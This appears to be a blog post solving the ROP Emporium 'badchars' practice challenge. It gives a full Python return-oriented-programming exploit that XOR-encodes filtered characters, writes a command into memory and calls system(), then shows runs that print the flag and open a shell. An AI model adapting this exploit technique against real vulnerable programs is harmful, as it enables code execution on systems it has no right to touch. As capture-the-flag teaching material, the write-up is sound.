{"id":1061,"date":"2019-11-27T14:09:28","date_gmt":"2019-11-27T19:09:28","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=1061"},"modified":"2019-11-27T14:09:28","modified_gmt":"2019-11-27T19:09:28","slug":"rop-emporium-badchars-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/rop-emporium-badchars-solution\/","title":{"rendered":"ROP Emporium | badchars Solution"},"content":{"rendered":"<p>An arbitrary write challenge with a twist; certain input characters get mangled before finding their way onto the stack. Find a way to deal with this and craft your exploit.<\/p>\n<p>The binary and challenge description can be found here:<br \/>\n<a href=\"https:\/\/ropemporium.com\/challenge\/badchars.html\">https:\/\/ropemporium.com\/challenge\/badchars.html<\/a><\/p>\n<p>This challenge is actually not much more difficult than the previous (write4). The only difference is that now you have to account for characters that either get mutated when they&#8217;re written to memory or just aren&#8217;t written at all. The binary has already done the hardest part for you, providing the useful gadgets. I didn&#8217;t even need to use <code>ropper<\/code>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/11\/badchars_usefulGadgets.png\" alt=\"\" width=\"509\" height=\"376\" class=\"alignnone size-full wp-image-1062\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/11\/badchars_usefulGadgets.png 509w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/11\/badchars_usefulGadgets-300x222.png 300w\" sizes=\"auto, (max-width: 509px) 100vw, 509px\" \/><\/p>\n<p>The hardest part of this challenge was writing the Python script.<\/p>\n<p>Solution:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\n\r\nimport sys\r\nimport random\r\n\r\n\r\ndef write_string(string, location, badchars):\r\n    global payload\r\n    indices = &#x5B;]\r\n    for i, char in enumerate(string):\r\n        if chr(char) in badchars:\r\n            indices.append(i)\r\n\r\n    if indices:\r\n        key = random.randint(1, 127)\r\n\r\n        # This will XOR only the badchars with the key\r\n        for i in indices:\r\n            string = string&#x5B;:i] + (int(string&#x5B;i]) ^ key).to_bytes(1, &quot;big&quot;) + string&#x5B;i+1:]\r\n            payload += (0x400b40).to_bytes(8, &quot;little&quot;) # pop r14; pop r15; ret\r\n            payload += (key).to_bytes(8, &quot;little&quot;)\r\n            payload += (location+i).to_bytes(8, &quot;little&quot;)\r\n            payload += (0x400b30).to_bytes(8, &quot;little&quot;) # xor byte &#x5B;r15], r14b; ret\r\n\r\n        # Run the string through again to make sure there are no badchars\r\n        return write_string(string, location, badchars)\r\n\r\n    # Add a null terminator if it doesn't already exist\r\n    if string&#x5B;-1]:\r\n        string += b&quot;\\x00&quot;\r\n\r\n    # This is what puts the XOR'd string into memory\r\n    for i in range(0, len(string), 8):\r\n        # Add null byte padding to make sure the string len is a multiple of 8\r\n        if len(string&#x5B;i:i+8]) &lt; 8:\r\n            string += b&quot;\\x00&quot; * (8 - len(string&#x5B;i:i+8]))\r\n        payload += (0x400b3b).to_bytes(8, &quot;little&quot;)  # pop r12; pop r13; ret\r\n        payload += string&#x5B;i:i+8]\r\n        payload += (location + i).to_bytes(8, &quot;little&quot;)\r\n        payload += (0x400b34).to_bytes(8, &quot;little&quot;)  # mov qword &#x5B;r13], r12; ret\r\n\r\n    # Need to reverse the order of operations in the payload (32-bytes at a time)\r\n    payload = b&quot;&quot;.join(reversed(&#x5B;payload&#x5B;i:i+32] for i in range(0, len(payload), 32)]))\r\n\r\n    return string\r\n\r\n\r\n# NOTE: This string cannot have a bad char in the 4th position (e.g. &quot;\/bin\/sh&quot; or &quot;cat flag.txt&quot;)\r\n# In the .data section (0x601070), the 4th position is 0x73, which is a bad char\r\ncommand = &quot; cat flag.txt&quot;\r\nlocation = 0x601070\r\n# This can be either a list or dict (with the chars as the keys)\r\nbadchars = { &quot; &quot;: 0x20, &quot;\/&quot;: 0x2f, &quot;b&quot;: 0x62, &quot;c&quot;: 0x63,\r\n             &quot;f&quot;: 0x66, &quot;i&quot;: 0x69, &quot;n&quot;: 0x6e, &quot;s&quot;: 0x73 }\r\n\r\npayload = b&quot;&quot;\r\nwrite_string(command.encode(), location, badchars)\r\n\r\npayload = (b&quot;A&quot; * 40) + payload\r\n\r\n# Execute the command\r\npayload += (0x400b39).to_bytes(8, &quot;little&quot;) # pop rdi; ret;\r\npayload += (location).to_bytes(8, &quot;little&quot;) # Address of where the string is saved to\r\npayload += (0x4006f0).to_bytes(8, &quot;little&quot;) # PLT address of system()\r\n\r\nsys.stdout.buffer.write(payload)\r\n<\/pre>\n<p>Running the exploit:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/badchars $ .\/exploit.py | .\/badchars \r\nbadchars by ROP Emporium\r\n64bits\r\n\r\nbadchars are: b i c \/ &lt;space&gt; f n s\r\n&gt; ROPE{a_placeholder_32byte_flag!}\r\n<\/pre>\n<p>And in case you&#8217;d like to change the string to give you a shell (e.g. &#8220;bash&#8221;):<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/badchars $ (.\/exploit.py; echo; cat) | .\/badchars \r\nbadchars by ROP Emporium\r\n64bits\r\n\r\nbadchars are: b i c \/ &lt;space&gt; f n s\r\n&gt; id\r\nuid=1000(andrew) gid=1000(andrew) groups=1000(andrew),1001(sudo)\r\ncat flag.txt\r\nROPE{a_placeholder_32byte_flag!}\r\n<\/pre>\n<p>This script is far from perfect. For instance, it doesn&#8217;t check the addresses for bad characters, only the string. Perhaps I&#8217;ll improve it in the future.<\/p>\n<p>I&#8217;m also not going to provide a detailed explanation of everything the script is doing. I&#8217;ve tried to provide enough comments for this. Also, your knowledge from the previous challenges should be enough to understand it.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>An arbitrary write challenge with a twist; certain input characters get mangled before finding their way onto the stack. Find a way to deal with this and craft your exploit &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/rop-emporium-badchars-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">ROP Emporium | badchars Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-1061","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1061","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=1061"}],"version-history":[{"count":8,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1061\/revisions"}],"predecessor-version":[{"id":1070,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1061\/revisions\/1070"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=1061"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=1061"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=1061"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}